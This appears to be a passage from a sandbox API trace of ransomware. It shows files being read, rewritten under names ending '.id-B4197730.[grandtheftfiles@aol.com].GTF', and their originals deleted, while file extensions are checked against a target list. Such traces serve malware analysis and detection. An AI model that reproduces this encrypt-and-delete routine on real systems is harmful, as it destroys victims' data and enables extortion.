	[0173.484] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString=".zip") returned 4
	[0173.484] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".rar") returned 4
	[0173.484] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".bz2") returned 4
	[0173.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString=".7z") returned 3
	[0173.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString=".dbf") returned 4
	[0173.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString=".1cd") returned 4
	[0173.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0173.484] lstrlenW (lpString=".jpg") returned 4
	[0173.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.485] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.485] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31
	[0173.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.485] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10659) returned 1
	[0173.485] CloseHandle (hObject=0x48c) returned 1
	[0173.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220
	[0173.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.486] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.486] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.487] GetLastError () returned 0x0
	[0173.487] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0173.489] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0173.491] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.491] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x112, lpOverlapped=0x0) returned 1
	[0173.491] SetEndOfFile (hFile=0x550) returned 1
	[0173.491] CloseHandle (hObject=0x550) returned 1
	[0173.491] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.492] SetEndOfFile (hFile=0x48c) returned 1
	[0173.699] CloseHandle (hObject=0x48c) returned 1
	[0173.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.700] lstrlenW (lpString=".doc") returned 4
	[0173.700] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.700] lstrlenW (lpString=".docx") returned 5
	[0173.700] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.700] lstrlenW (lpString=".pdf") returned 4
	[0173.707] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString=".xls") returned 4
	[0173.707] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString=".xlsx") returned 5
	[0173.707] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.707] lstrlenW (lpString=".ppt") returned 4
	[0173.707] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.707] lstrlenW (lpString=".zip") returned 4
	[0173.707] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString=".rar") returned 4
	[0173.707] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString=".bz2") returned 4
	[0173.707] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.707] lstrlenW (lpString=".7z") returned 3
	[0173.707] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString=".dbf") returned 4
	[0173.708] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString=".1cd") returned 4
	[0173.708] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString=".jpg") returned 4
	[0173.708] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString=".doc") returned 4
	[0173.708] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".docx") returned 5
	[0173.708] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.708] lstrlenW (lpString=".pdf") returned 4
	[0173.708] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".xls") returned 4
	[0173.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".xlsx") returned 5
	[0173.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.708] lstrlenW (lpString=".ppt") returned 4
	[0173.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.708] lstrlenW (lpString=".zip") returned 4
	[0173.708] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".rar") returned 4
	[0173.708] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".bz2") returned 4
	[0173.708] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.708] lstrlenW (lpString=".7z") returned 3
	[0173.708] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.709] lstrlenW (lpString=".dbf") returned 4
	[0173.709] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.709] lstrlenW (lpString=".1cd") returned 4
	[0173.709] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0173.709] lstrlenW (lpString=".jpg") returned 4
	[0173.709] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.709] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.709] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30
	[0173.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.710] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11171) returned 1
	[0173.710] CloseHandle (hObject=0x48c) returned 1
	[0173.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220
	[0173.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.711] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.711] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.711] GetLastError () returned 0x0
	[0173.711] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0173.716] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.717] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.717] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x110, lpOverlapped=0x0) returned 1
	[0173.717] SetEndOfFile (hFile=0x550) returned 1
	[0173.718] CloseHandle (hObject=0x550) returned 1
	[0173.718] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.718] SetEndOfFile (hFile=0x48c) returned 1
	[0173.721] CloseHandle (hObject=0x48c) returned 1
	[0173.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1
	[0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.723] lstrlenW (lpString=".doc") returned 4
	[0173.723] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".docx") returned 5
	[0173.723] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.723] lstrlenW (lpString=".pdf") returned 4
	[0173.723] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".xls") returned 4
	[0173.723] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".xlsx") returned 5
	[0173.723] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.723] lstrlenW (lpString=".ppt") returned 4
	[0173.723] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.723] lstrlenW (lpString=".zip") returned 4
	[0173.723] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".rar") returned 4
	[0173.723] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".bz2") returned 4
	[0173.723] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString=".7z") returned 3
	[0173.723] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.723] lstrlenW (lpString=".dbf") returned 4
	[0173.723] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.723] lstrlenW (lpString=".1cd") returned 4
	[0173.723] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString=".jpg") returned 4
	[0173.724] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString=".doc") returned 4
	[0173.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".docx") returned 5
	[0173.724] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.724] lstrlenW (lpString=".pdf") returned 4
	[0173.724] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".xls") returned 4
	[0173.724] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".xlsx") returned 5
	[0173.724] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.724] lstrlenW (lpString=".ppt") returned 4
	[0173.724] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString=".zip") returned 4
	[0173.724] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".rar") returned 4
	[0173.724] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".bz2") returned 4
	[0173.724] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString=".7z") returned 3
	[0173.724] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString=".dbf") returned 4
	[0173.724] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.724] lstrlenW (lpString=".1cd") returned 4
	[0173.724] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0173.725] lstrlenW (lpString=".jpg") returned 4
	[0173.725] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.725] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.725] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31
	[0173.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.726] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22215) returned 1
	[0173.726] CloseHandle (hObject=0x48c) returned 1
	[0173.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220
	[0173.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0173.731] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.731] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.735] GetLastError () returned 0x0
	[0173.735] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x56c7, lpOverlapped=0x0) returned 1
	[0173.737] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0173.739] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.739] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x112, lpOverlapped=0x0) returned 1
	[0173.739] SetEndOfFile (hFile=0x550) returned 1
	[0173.739] CloseHandle (hObject=0x550) returned 1
	[0173.739] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.739] SetEndOfFile (hFile=0x48c) returned 1
	[0173.743] CloseHandle (hObject=0x48c) returned 1
	[0173.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1
	[0173.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.744] lstrlenW (lpString=".doc") returned 4
	[0173.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.744] lstrlenW (lpString=".docx") returned 5
	[0173.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.744] lstrlenW (lpString=".pdf") returned 4
	[0173.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.744] lstrlenW (lpString=".xls") returned 4
	[0173.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.744] lstrlenW (lpString=".xlsx") returned 5
	[0173.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.745] lstrlenW (lpString=".ppt") returned 4
	[0173.745] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString=".zip") returned 4
	[0173.745] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".rar") returned 4
	[0173.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".bz2") returned 4
	[0173.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString=".7z") returned 3
	[0173.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString=".dbf") returned 4
	[0173.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0173.745] lstrlenW (lpString=".1cd") returned 4
	[0173.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
